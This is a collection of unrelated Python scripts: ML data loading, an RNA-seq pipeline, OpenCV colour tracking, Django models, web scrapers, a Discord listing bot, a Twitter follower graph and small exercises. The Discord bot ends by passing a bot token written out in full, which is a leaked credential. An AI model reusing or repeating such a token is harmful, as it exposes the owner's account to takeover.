                print(f'{epoch} loss: {float(loss)} lr: {sched._last_lr}')
        optim.zero_grad()

    if xv is not None and yv is not None:
        if verbose:
            print(f'Final best acc {best}')
        sim.A = nn.Parameter(to_cuda(bestA))
    if verbose:
        print('Complete')


import numpy as np
from torchvision import transforms
import os
from PIL import Image
from torch.utils.data import Dataset

HIGH_RES = 96
LOW_RES = HIGH_RES // 4

data_transform = {
    "highres_transform":transforms.Compose([
                                transforms.ToPILImage(),
                                transforms.Resize([HIGH_RES, HIGH_RES]),
                                transforms.ToTensor(),
                                transforms.Normalize([0.5, 0.5, 0.5], [0.5, 0.5, 0.5])]),

    "lowres_transform":transforms.Compose([
                              transforms.ToPILImage(),
                              transforms.Resize([LOW_RES, LOW_RES], interpolation=Image.BICUBIC),
                              transforms.ToTensor(),
                              transforms.Normalize([0, 0, 0], [1, 1, 1])])
}

class MyDataset(Dataset):
    def __init__(self, root_dir):
        self.root_dir = root_dir
        self.list_files = os.listdir(self.root_dir)

    def __len__(self):
        return len(self.list_files)

    def __getitem__(self, index):
        img_file = self.list_files[index]
        img_path = os.path.join(self.root_dir, img_file)
        image = np.array(Image.open(img_path))
        high_res = data_transform["highres_transform"](image)
        low_res = data_transform["lowres_transform"](image)

        return low_res, high_res


#!/usr/bin/python

#Runs tophat and cufflinks on a fixed set of samples.
import argparse
import cmn.cmn as cmn
import datetime
import libs.tuxedolib as tl
import libs.rnaseqlib as rl
import logging
import os
import rnaseq_settings_custom as rs
import shutil
import sys

parser = argparse.ArgumentParser()
parser.add_argument('-c', '--cufflinks', action="store_true",
        help='option to run cufflinks')
args = parser.parse_args()

COLQUERY = ['genotype', 'tube', 'sex', 'frozend', 'rnad', 'rnaconc',
            'mrnad', 'cdnad', 'indexnum', 'sample', 'seqd', 'thawed',
            'toseq', 'samplenum', 'sentd', 'qbitngul', 'qbitd', 'seq_received']

def main():
    rnaset = rs.RNASeqData()
    rnaseqdict = rnaset.__dict__
    curtime = datetime.datetime.now().strftime("%Y-%m-%d_%H:%M:%S")
    cmn.makenewdir(rnaset.th_resdirpath)
    logpath = os.path.join(rnaset.th_resdirpath, '{}_'.format(curtime) +
            rnaseqdict['th_log_file'])
    rl.logginginfo(logpath)

    sberkids, seqpaths, respaths = rl.get_berkid_seq_res_paths(rnaset.berkidlist, \
        rnaset.sampleinfo_table, COLQUERY, rnaseqdict['seq_path'],
        rnaseqdict['seq_subdir'], rnaseqdict['th_resdirpath'])

    berkid_params = zip(sberkids, seqpaths, respaths)
    #for i in list(berkid_params):
        #print(i)
    for berkid, sample_seqdir, sample_resdir in berkid_params:
        tl.run_tophat_cufflinks(berkid, sample_seqdir, sample_resdir, rnaseqdict,
        args.cufflinks, rnaset.strand, rnaset.minintron)

    shutil.copy(rnaseqdict['set_path_orig'], '{}_{}'.format(rnaseqdict['th_set_path_copy'], curtime))

if __name__ == '__main__':
    main()


import cv2
import numpy as np

def nothing(x):
    pass
##Camera
# create trackbars for color change

cv2.namedWindow('image1')
cv2.createTrackbar('RL','image1',0,255,nothing)
cv2.createTrackbar('RH','image1',255,255,nothing)
cv2.createTrackbar('GL','image1',0,255,nothing)
cv2.createTrackbar('GH','image1',255,255,nothing)
cv2.createTrackbar('BL','image1',0,255,nothing)
cv2.createTrackbar('BH','image1',255,255,nothing)
cap=cv2.VideoCapture(0)

ret,img=cap.read()
cv2.imshow('image',img)
(h, w) = img.shape[:2]
cv2.circle(img, (w//2, h//2), 7, (255, 255, 255), -1)
print("Frame Centroid is:")
print(w//2,h//2)
while(1):
    ret,img=cap.read()
    blurImg = cv2.blur(img,(10,10))
    rl = cv2.getTrackbarPos('RL','image1')
    rh = cv2.getTrackbarPos('RH','image1')
    gl = cv2.getTrackbarPos('GL','image1')
    gh = cv2.getTrackbarPos('GH','image1')
    bl = cv2.getTrackbarPos('BL','image1')
    bh = cv2.getTrackbarPos('BH','image1')
    lowerlimit=np.array([rl,gl,bl])
    higherlimit=np.array([rh,gh,bh])
    hsv=cv2.cvtColor(blurImg,cv2.COLOR_BGR2HSV)
    img_mask=cv2.inRange(hsv,lowerlimit,higherlimit)
    ##retval, threshold = cv2.threshold(img, 100,200,30,cv2.THRESH_BINARY)
    contours, _= cv2.findContours(img_mask, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
    cv2.drawContours(blurImg,contours,-1,(0,255,0),3)
    cnt=contours[0]
    max_length=len(contours)
    for c in contours:
        if(len(c)>max_length):
            max_length=len(c)
            cnt=c

    M =cv2.moments(cnt)
    if (M["m00"]==0):
        M["m00"]=1
    cX = int(M["m10"] / M["m00"])
    cY = int(M["m01"] / M["m00"])

    cv2.circle(blurImg,(cX,cY),8,(0,0,255),-1)
    r=cX-w//2
    p=cY-h//2
    if p==0:
       p=1
    if r==0:
        r=1

    angle=np.arctan(p/r)
    cv2.putText(blurImg,"Centroid:",(cX-25,cY-25),cv2.FONT_HERSHEY_SIMPLEX,0.5,(255,0,0),2)

    print("Distance is ",r,p)

    print("Angle is :",57.2957795*angle)

    # Taking a matrix of size 5 as the kernel
    kernel = np.ones((5,5), np.uint8)
    # Divides image into matrices of 5X5 of 8 bits
    # The first parameter is the original image,
    # kernel is the matrix with which image is
    # convolved and third parameter is the number
    # of iterations, which will determine how much
    # you want to erode/dilate a given image.
    img_mask = cv2.erode(img_mask, kernel, iterations=1)
    img_mask = cv2.dilate(img_mask, kernel, iterations=1)
    cv2.imshow('Image',img)
    cv2.imshow('blurred image',blurImg)
    cv2.imshow('image2',img_mask)

    if cv2.waitKey(1)==27:          #if esc key is pressed then break out of loop
        break;
cv2.destroyAllWindows()
#Close and exit
##cap.release()   #releases the camera
##cv2.waitKey(5000)       #waits for program termination . If 0 then waits infinetely for user input


# -*- coding: utf-8 -*-
import uuid

from django.db import models
from django.utils.translation import gettext_lazy as _
from django_auxilium.models import BaseModel
from files.models import Attachment
from utils.models import BleachRichTextField, SlugFromNameMixin

class Announcement(SlugFromNameMixin, BaseModel):
    ALERT_LEVELS = [
        ("INFO", "Info"),
        ("WARNING", "Warning"),
        ("DANGER", "Danger"),
    ]

    id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)

    slug = models.SlugField(
        _("Slug"),
        max_length=64,
        blank=True,
        unique=True,
        db_index=True,
        help_text=_(
            "Announcement title as it will appear in the URL. "
            "Can only be alphanumeric with hyphens as word delimiter."
        ),
    )

    title = models.CharField(_("Title"), max_length=128)
    description = BleachRichTextField(_("Description"), allowed_tags=["a"])
    announcement_html = BleachRichTextField(_("Announcement"), blank=True)

    is_featured = models.BooleanField(_("Is Featured"), default=False)
    alert_level = models.CharField(
        _("Alert Level"), max_length=8, choices=ALERT_LEVELS, blank=True
    )
    start_date = models.DateField(_("Start Date"), null=True)
    end_date = models.DateField(_("End Date"), null=True)

    attachments = models.ManyToManyField(
        Attachment,
        related_name="announcements",
        verbose_name=Attachment._meta.verbose_name_plural,
        blank=True,
    )

    class Meta:
        verbose_name = _("Announcement")
        verbose_name_plural = _("Announcements")

    def __str__(self) -> str:
        return f"{self.start_date}-{self.end_date} - {self.title}"


import discord
from discord.ext import commands
import re
from carousell import CarousellScraper

client = commands.Bot(command_prefix='.')

def get_listings(item):
    web_page = CarousellScraper(item)
    filtered_web_page = web_page.get_page().find('main', class_=re.compile("D_"))
    return filtered_web_page.select('a[href^="/p"]')

@client.event
async def on_ready():
    print('Bot started')

@client.command(aliases=['list', 'listing', 'ls'])
async def listings(context, *, item):
    results = get_listings(item)
    channel = client.get_channel(856871861110308867)
    for r in results:
        try:
            names = r.select("a > p:nth-of-type(1)")
            name_result = names[0].get_text()
            if len(name_result) >= 140:
                continue
        except IndexError:
            pass
        else:
            prices = r.select("a > p:nth-of-type(2)")
            price_raw = prices[0].get_text().split('S$')
            del price_raw[0]
            price_result = price_raw[0]

            link = r['href']
            hyperlink = f'https://www.carousell.sg{link}'
            embed = discord.Embed(
                title=name_result,
                description=f'Price: ${price_result}\n[Link]({hyperlink})'
            )
            try:
                await channel.send(embed=embed)
            except discord.errors.HTTPException:
                pass

client.run('ODU2ODYwMzAzNjk4Mjk2ODcy.YNHLWA.V4VS1lioAkDrJe24YRvSXBEXJV8')


from selenium import webdriver

rootPath = ".."
driver = webdriver.Chrome(
    executable_path="{}/chrome/chromedriver74".format(rootPath),
)

url = "http://dart.fss.or.kr/"
driver.get(url)

driver.find_element_by_id("textCrpNm")\
    .send_keys("셀트리온")

driver.find_element_by_xpath("//*[@id='searchForm']/fieldset/p[4]/input")\
    .click()
pageString = driver.page_source
print(pageString)


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Mar 17 12:56:23 2021

@author: rakesh
"""

import random
import matplotlib.pyplot as plt

account = 0 #details of my gain or loss
x = []
y = []

for i in range(365):
    x.append(i+1)
    bet = random.randint(1,10)
    lucky_draw = random.randint(1,10)
    #print("Your number is:",bet)
    #print("Your lucky draw number is:",lucky_draw)

    # I need keep amount 100/- if i won i will get 900
    # or i will loose my 100/-

    if bet == lucky_draw:
        account = account + 900 - 100 # which gives my net gain/loss
    else:
        account = account-100

    y.append(account)

print("Amount in my game account",account)
plt.plot(x,y)
plt.show()


import os
import json
import tweepy
from pprint import pprint as pp
from tweepy import OAuthHandler

# getting keys from OS ENV variables (stored there to avoid commiting secrets to the repo)
consumer_key = os.environ['TWITTER_TWEETLEAD_CONSUMER_KEY']
consumer_secret = os.environ['TWITTER_TWEETLEAD_CONSUMER_SECRET']
access_token = os.environ['TWITTER_TWEETLEAD_ACCESS_TOKEN']
access_secret = os.environ['TWITTER_TWEETLEAD_ACCESS_SECRET']

auth = OAuthHandler(consumer_key, consumer_secret)
auth.set_access_token(access_token, access_secret)

api = tweepy.API(auth)

# api.search_users('@AndrzejDuda')
u_name = 'kornislaw'

def print_followers():
    u = api.get_user(u_name)

    nodes = 'nodes = [\n'
    nodes += f"\t\t{{id: {u.id}, shape: 'circularImage', image: '{u.profile_image_url}', label:'{u.screen_name}'}},\n"
    for flr in api.followers(u_name):
        nodes += f"\t\t{{id: {flr.id}, shape: 'circularImage', image: '{flr.profile_image_url}', label:'{flr.screen_name}'}},\n"
    nodes += '];\n'

    edges = 'edges = [\n'
    for flr in api.followers(u_name):
        edges += f'\t\t{{from: {flr.id}, to: {u.id}}},\n'
    edges += '];\n'

    print(nodes)
    print(edges)

def get_followers(u_name):
    u = api.get_user(u_name)
    flrs = api.followers(u_name)
    nodes = [{'id': flr.id, 'shape': 'circularImage', 'image': flr.profile_image_url, 'label': flr.screen_name} for flr in flrs]
    nodes.append({'id': u.id, 'shape': 'circularImage', 'image': u.profile_image_url, 'label': u.screen_name, 'size': 70 })
    edges = [{'from': flr.id, 'to': u.id} for flr in flrs]

    return json.dumps({'nodes': nodes, 'edges': edges})
    # return {'nodes': nodes, 'edges': edges}

print(get_followers('kornislaw'))
# def print_followed():
    # API.friends_ids(id/screen_name/user_id[, cursor]


# Leetcode 347: Top K Frequent Elements (medium)
# arrays, hashing

from collections import defaultdict
class Solution:
    # defaultdict revisited, fastest
    def topKFrequent(self, nums, k):
        freq, ans = defaultdict(int), []
        for n in nums:
            freq[n] += 1

        sorted_freq = sorted(freq.items(), key=lambda x:x[1], reverse=True)

        for i in range(k):
            ans.append(sorted_freq[i][0])

        return ans

    # revisited
    def topKFrequent2(self, nums, k):
        freq, ans = {}, []
        for n in nums:
            if n in freq: freq[n] += 1
            else: freq[n] = 1

        sorted_freq = sorted(freq.items(), key=lambda x:x[1], reverse=True)

        for i in range(k):
            ans.append(sorted_freq[i][0])

        return ans

# test cases
solution = Solution()
nums = [1,1,1,2,2,3]
k = 2
print(solution.topKFrequent(nums, k)) # [1,2]
print(solution.topKFrequent([1], 1)) # [1]

# old
# LEETCODE 347 TESTCASES NOT WORKING CORRECTLY, BUT THE EXACT TESTCASE WORKS HERE? see bottom
    # def topKFrequent(self, nums: list[int], k: int) -> list[int]:
    #     count_map = defaultdict(list) # number : count
    #     result = []

    #     # appending each number and the amount of times it appears to the count map
    #     for n in nums:
    #         if count_map[n]: # if the value is not null / already exists
    #             count_map[n] = count_map[n] + 1 # increment the count value
    #         else:
    #             count_map[n] = 1 # set the count to 1

    #     # sort hashmap by its values in reverse order, basically its count in descending order
    #     # sorted returns a list therefore cast back to defaultdict
    #     sorted_count_map = dict(sorted(count_map.items(), key=lambda x:x[1], reverse=True))

    #     # append the sorted keys to the result list until k amount is reached
    #     for i, key in enumerate(sorted_count_map):
    #         if i < k:
    #             result.append(key)

    #     return result


import json

from django.db import models
from django_celery_beat.models import PeriodicTask, IntervalSchedule

from .services import *

class Asset(models.Model):
    class Meta:
        db_table = "asset"
        constraints = [
            models.UniqueConstraint(
                fields=["name", "created_by"], name="unique asset_constraint"
            )
        ]

    PERIOD_CHOICES = [
        ("days", "Days"),
        ("hours", "Hours"),
        ("minutes", "Minutes"),
        ("seconds", "Seconds"),
    ]
    name = models.CharField(max_length=250, blank=True)
    created_by = models.ForeignKey("users.User", on_delete=models.CASCADE)

    # Fields to control sending emails
    min_value = models.DecimalField(max_digits=8, decimal_places=2)
    max_value = models.DecimalField(max_digits=8, decimal_places=2)

    # Fields to control the task periodicity
    period_type = models.CharField(
        choices=PERIOD_CHOICES, max_length=7, default="minutes"
    )
    period_time = models.IntegerField(default=0, blank=True)
    monitoring = models.BooleanField(default=False)

    def __str__(self):
        return f"{self.name}_{self.created_by.first_name}"

    def save(self, *args, **kwargs):
        # Update periodic task only if asset object already exists
        if self.id:
            asset = Asset.objects.get(id=self.id)
            schedule, created = IntervalSchedule.objects.get_or_create(
                period=self.period_type, every=self.period_time
            )
            task = PeriodicTask.objects.get(
                kwargs__contains=json.dumps(
                    {"created_by": asset.created_by.id, "asset_name": asset.name}
                )
            )
            task.kwargs = json.dumps(
                {"created_by": self.created_by.id, "asset_name": self.name}
            )
            task.interval = schedule
            task.enabled = self.monitoring
            task.save()
            if self.name != asset.name:
                AssetData.objects.filter(asset=self).delete()
        else:
            schedule, created = IntervalSchedule.objects.get_or_create(
                period=self.period_type, every=self.period_time
            )
            task_name = f"{self.created_by.email}_{self.name}"
            task = PeriodicTask.objects.create(
                name=task_name,
                interval=schedule,
                task="assets.tasks.get_asset_data",
                kwargs=json.dumps(
                    {"created_by": self.created_by.id, "asset_name": self.name}
                ),
            )
        super().save(*args, **kwargs)

    def delete(self, *args, **kwargs):
        PeriodicTask.objects.get(
            kwargs__contains=json.dumps(
                {
                    "created_by": self.created_by.id,
                    "asset_name": self.name,
                }
            )
        ).delete()
        super().delete(*args, **kwargs)

class AssetData(models.Model):
    asset = models.ForeignKey("assets.Asset", on_delete=models.CASCADE)
    value = models.DecimalField(max_digits=8, decimal_places=2)
    data_extraction_time = models.DateTimeField(auto_now_add=True)

    def save(self, *args, **kwargs):
        if self.asset.monitoring:
            if not self.asset.min_value < self.value < self.asset.max_value:
                send_email(
                    self.asset.name,
                    self.asset.min_value,
                    self.asset.max_value,
                    self.value,
                    self.asset.created_by.id,
                )

        return super().save(*args, **kwargs)

    def __str__(self):
        return f"{self.asset.name}_{self.asset.period_time}_{self.asset.period_type}_{self.asset.created_by.first_name}"


import pygame
FPS = 500
m = 1

class Ball():
    def __init__(self, pas):
        self.x = pas[0]
        self.y = pas[1]
        self.color = (255, 255, 0)
        self.r = 50
        self.m = 1
        self.step_x = 0
        self.step_y = 0

    def move(self):
        self.x += self.step_x
        self.y += self.step_y

    def change_dir(self, x, y):
        self.step_x = x
        self.step_y = y
        if self.x + 50 == 800:
            self.m = -1
        if self.x == 50:
            self.m = 1
        self.x = self.x + self.m

    def update(self):
        pygame.draw.circle(screen, self.color, (self.x, self.y), self.r)

clock = pygame.time.Clock()

pygame.init()
screen = pygame.display.set_mode((800, 600))
x, y = 100, 100
running = True
first_ball = Ball((100, 100))
first_ball.change_dir(1, 0)
while running:
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            running = False
    screen.fill((0, 0, 0))
    first_ball.update()
    first_ball.move()
    if first_ball.x + first_ball.r == 800 or first_ball.x == first_ball.r:
        first_ball.change_dir(-first_ball.step_x,0)

    clock.tick(FPS)
    pygame.display.flip()
    pass

pygame.quit()


# -*- coding: utf-8 -*-

import os, sys

paths = os.path.dirname(os.path.realpath(__file__)).split(os.sep)
sys.path.append(os.sep.join(paths[:len(paths)-2]))
import tools

class Nyaa:
	NAME = "nyaa"
	OUTPUT = "output"
	URL = "http://www.nyaa.se/?page=rss&term={}"

	def __init__(self):
		tools.logo("nyaa.se Torrent Crawler")